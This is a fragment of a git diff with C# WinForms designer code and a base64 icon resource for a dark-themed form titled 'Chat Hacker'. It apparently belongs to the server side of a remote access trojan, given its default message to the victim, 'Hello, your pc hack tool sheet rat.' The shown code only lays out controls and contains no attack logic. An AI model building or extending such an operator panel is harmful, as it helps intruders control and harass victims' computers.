ScrollBars.None; + this.textBox2.SelectedText = ""; + this.textBox2.SelectionLength = 0; + this.textBox2.SelectionStart = 0; + this.textBox2.ShortcutsEnabled = true; + this.textBox2.Size = new Size(122, 23); + this.textBox2.Style = MetroColorStyle.Lime; + this.textBox2.TabIndex = 6; + this.textBox2.Text = "Hacker"; + this.textBox2.Theme = MetroThemeStyle.Dark; + this.textBox2.UseSelectable = true; + this.textBox2.UseStyleColors = true; + this.textBox2.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.textBox2.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.pictureBox1.Anchor = AnchorStyles.None; + this.pictureBox1.Image = (Image) Resources.images; + this.pictureBox1.Location = new Point(282, 130); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new Size(122, 103); + this.pictureBox1.SizeMode = PictureBoxSizeMode.StretchImage; + this.pictureBox1.TabIndex = 5; + this.pictureBox1.TabStop = false; + this.pictureBox1.Click += new EventHandler(this.pictureBox1_Click); + this.timer1.Interval = 1000; + this.timer1.Tick += new EventHandler(this.timer1_Tick); + this.textBox1.Anchor = AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right; + this.textBox1.CustomButton.Image = (Image) null; + this.textBox1.CustomButton.Location = new Point(561, 1); + this.textBox1.CustomButton.Name = ""; + this.textBox1.CustomButton.Size = new Size(29, 29); + this.textBox1.CustomButton.Style = MetroColorStyle.Blue; + this.textBox1.CustomButton.TabIndex = 1; + this.textBox1.CustomButton.Theme = MetroThemeStyle.Light; + this.textBox1.CustomButton.UseSelectable = true; + this.textBox1.CustomButton.Visible = false; + this.textBox1.Lines = new string[1] + { + "Hello, your pc hack tool sheet rat." + }; + this.textBox1.Location = new Point(12, 461); + this.textBox1.MaxLength = (int) short.MaxValue; + this.textBox1.Multiline = true; + this.textBox1.Name = "textBox1"; + this.textBox1.PasswordChar = char.MinValue; + this.textBox1.ScrollBars = ScrollBars.None; + this.textBox1.SelectedText = ""; + this.textBox1.SelectionLength = 0; + this.textBox1.SelectionStart = 0; + this.textBox1.ShortcutsEnabled = true; + this.textBox1.Size = new Size(591, 31 /*0x1F*/); + this.textBox1.Style = MetroColorStyle.Lime; + this.textBox1.TabIndex = 8; + this.textBox1.Text = "Hello, your pc hack tool sheet rat."; + this.textBox1.Theme = MetroThemeStyle.Dark; + this.textBox1.UseSelectable = true; + this.textBox1.UseStyleColors = true; + this.textBox1.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.textBox1.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.button1.Anchor = AnchorStyles.Bottom | AnchorStyles.Right; + this.button1.Location = new Point(604, 461); + this.button1.Name = "button1"; + this.button1.Size = new Size(75, 31 /*0x1F*/); + this.button1.Style = MetroColorStyle.Lime; + this.button1.TabIndex = 8; + this.button1.Text = "Send"; + this.button1.Theme = MetroThemeStyle.Dark; + this.button1.UseSelectable = true; + this.button1.UseStyleColors = true; + this.button1.Click += new EventHandler(this.button1_Click_1); + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(691, 523); + this.Controls.Add((Control) this.panel1); + this.Controls.Add((Control) this.button1); + this.Controls.Add((Control) this.textBox1); + this.Controls.Add((Control) this.ChatikPanel); + this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); + this.Name = "Chat"; + this.ShowIcon = false; + this.Style = MetroColorStyle.Lime; + this.Text = "Chat Hacker"; + this.TextAlign = MetroFormTextAlign.Center; + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.Form1_Load); + this.panel1.ResumeLayout(false); + ((ISupportInitialize) this.pictureBox1).EndInit(); + this.ResumeLayout(false); + } +} +} diff --git a/Server/Server/Forms/FormChat.resx b/Server/Server/Forms/FormChat.resx new file mode 100644 index 0000000..a44d81d --- /dev/null +++ b/Server/Server/Forms/FormChat.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5JY29uAgAAAAhJY29uRGF0YQhJY29uU2l6ZQcEAhNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAIAAAAJAwAAAAX8////E1N5c3RlbS5EcmF3aW5nLlNpemUCAAAABXdpZHRoBmhlaWdodAAACAgCAAAAAAAAAAAAAAAPAwAAAD5CAAACAAABAAEAQEAAAAEAIAAoQgAAFgAAACgAAABAAAAAgAAAAAEAIAAAAAAAAEAAABMLAAATCwAAAAAAAAAAAAABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEuAQEBWwEBAYMBAQGnAQEBxQEBAd4BAQHwAAAA/AAAAPwAAADwAQEB3gEBAcUBAQGnAQEBgwEBAVsBAQEuAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEKAQEBSwEBAYoBAQHFAQEB/AEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/AEBAcUBAQGKAQEBSwEBAQoBAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBASoBAQF3AQEBwQEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQHBAQEBdwEBASoBAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBLAEBAYMBAQHYAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQHYAQEBgwEBASwBAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQERAQEBcgEBAdABAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQHQAQEBcgEBAREBAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQFEAQEBqwEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQGrAQEBRAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQFsAQEB2gEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAdoBAQFsAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBARQBAQGIAQEB/QEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8HBwf/CgoK/wkJCf8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/QEBAYgBAQEUAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAR8BAQGZAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wcHB/8XFxf/EhIS/wEBAf8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEBmQEBAR8BAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAR8BAQGfAQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/xkZGf8TExP/AQEB/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQGfAQEBHwEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBARQBAQGZAQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AQEB/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8DAwP/Gxsb/wQEBP8BAQH/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAZkBAQEUAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQGIAQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/w0NDf8EBAT/AQEB/wEBAf8AAAD/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEBiAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQFsAQEB/QEBAf8BAQH/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8AAAD/AQEB/wEBAf0BAQFsAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQFEAQEB2gEBAf8AAAD/AAAA/wAAAP8BAQH/AQEB/wYGBv8FBQX/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8BAQH/AQEB2gEBAUQBAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQERAQEBqwAAAP8AAAD/AAAA/wAAAP8AAAD/AQEB/wEBAf8KCgr/DAwM/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wAAAP8BAQGrAQEBEQEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBcgAAAP8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wEBAXIBAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBLAEBAdABAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8vZIn/MXqq/zJ1ov8uYIL/LFh3/zQVEP8MBQT/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAADQAQEBLAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAYMBAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/IJfc/wCo//8AqP//AKj//wCo//8AqP//HZnf/zF3pP8XCwn/AgEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wEBAYMBAQEAAQEBAAEBAQABAQEAAQEBAAEBASoBAQHYAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/yCX3P8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//CKX4/y5ggv8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8BAQHYAQEBKgEBAQABAQEAAQEBAAEBAQABAQF3AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8gl9z/AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//KVJv/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AQEB/wEBAXcBAQEAAQEBAAEBAQABAQEKAQEBwQEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/IJfc/wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//yGV2P8JBAP/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wEBAf8BAQHBAQEBCgEBAQABAQEAAQEBSwEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8CAgL/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/x+X3P8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8Cp/7/EAcF/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8BAQH/AQEB/wEBAUsBAQEAAQEBAAEBAYoBAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8rVHH/L2GF/zB/sv8Lo/X/AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//xIIBv8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AQEB/wEBAf8BAQGKAQEBAAEBAQABAQHFAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/BwcH/wICAv8BAQH/AQEB/x4NCv8xdKD/MXSg/zF0oP8xdKD/MXSg/zJvmP8jDgv/AQEB/wEBAf8BAQH/AQEB/xgKCP8xbZb/MXSg/zF0oP8xdKD/MXSg/zJznv8lSmT/AQEB/wEBAf8DAQH/DAUE/xub4v8AqP//AKj//wCo//8AqP//AKj//wCo//8SCAb/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wEBAf8BAQH/AQEBxQEBAQABAQEuAQEB/AEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wcHB/8CAgL/AQEB/wEBAf8tW3z/AKj//wCo//8AqP//AKj//wCo//8AqP//LVp6/wEBAf8BAQH/AQEB/w0GBP8ri8X/AKj//wCo//8AqP//AKj//wCo//8AqP//MXim/wEBAf8BAQH/AQEB/wEBAf8xbJT/AKj//wCo//8AqP//AKj//wCo//8AqP//EggG/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8BAQH/AQEB/wEBAfwBAQEuAQEBWwEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/LVt8/wCo//8AqP//AKj//wCo//8AqP//AKj//y1aev8BAQH/AQEB/wcDAv8xd6b/AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//zF4pv8BAQH/AQEB/wEBAf8BAQH/K1Rx/wCo//8AqP//AKj//wCo//8AqP//AKj//xIIBv8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEBWwEBAYMBAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/y1bfP8AqP//AKj//wCo//8AqP//AKj//wCo//8tWnr/AQEB/wEBAf8sWnr/AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8xeKb/AQEB/wEBAf8BAQH/AQEB/ytUcf8AqP//AKj//wCo//8AqP//AKj//wCo//8SCAb/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAYMBAQGnAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8tW3z/AKj//wCo//8AqP//AKj//wCo//8AqP//LVp6/wEBAf8uEw7/AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//MXim/wEBAf8BAQH/AQEB/wEBAf8rVHH/AKj//wCo//8AqP//AKj//wCo//8AqP//EggG/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQGnAQEBxQEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/LVt8/wCo//8AqP//AKj//wCo//8AqP//AKj//y1aev8jDwv/Gpzk/wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//zF4pv8BAQH/AQEB/wEBAf8BAQH/K1Rx/wCo//8AqP//AKj//wCo//8AqP//AKj//xIIBv8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEBxQEBAd4BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/y1bfP8AqP//AKj//wCo//8AqP//AKj//wCo//8tWnr/KY3J/wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8xeKb/AQEB/wEBAf8BAQH/AQEB/ytUcf8AqP//AKj//wCo//8AqP//AKj//wCo//8SCAb/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAd4BAQHwAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8tW3z/AKj//wCo//8AqP//AKj//wCo//8AqP//G5vi/wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//MXim/wEBAf8BAQH/AQEB/wEBAf8rVHH/AKj//wCo//8AqP//AKj//wCo//8AqP//EggG/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQHwAQEB/AEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/LVt8/wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//zF4pv8BAQH/AQEB/wEBAf8BAQH/K1Rx/wCo//8AqP//AKj//wCo//8AqP//AKj//xIIBv8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/AEBAfwBAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/y1bfP8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8xeKb/AQEB/wEBAf8BAQH/AQEB/ytUcf8AqP//AKj//wCo//8AqP//AKj//wCo//8SCAb/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAfwBAQHwAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8tW3z/AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//MXim/wEBAf8BAQH/AQEB/wEBAf8rVHH/AKj//wCo//8AqP//AKj//wCo//8AqP//EggG/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQHwAQEB3gEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/LVt8/wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//zF4pv8BAQH/AQEB/wEBAf8BAQH/K1Rx/wCo//8AqP//AKj//wCo//8AqP//AKj//xIIBv8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB3gEBAcUBAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/y1bfP8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8xeKb/AQEB/wEBAf8BAQH/AQEB/ytUcf8AqP//AKj//wCo//8AqP//AKj//wCo//8SCAb/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAcUBAQGnAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8tW3z/AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8jldf/AKj//wCo//8AqP//AKj//wCo//8AqP//MXim/wEBAf8BAQH/AQEB/wEBAf8rVHH/AKj//wCo//8AqP//AKj//wCo//8AqP//EggG/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQGnAQEBgwEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/LVt8/wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8dmd//KREN/wKn/v8AqP//AKj//wCo//8AqP//AKj//xqc5P8vg7j/L4O4/y+DuP8vg7j/JpHQ/wCo//8AqP//AKj//wCo//8AqP//AK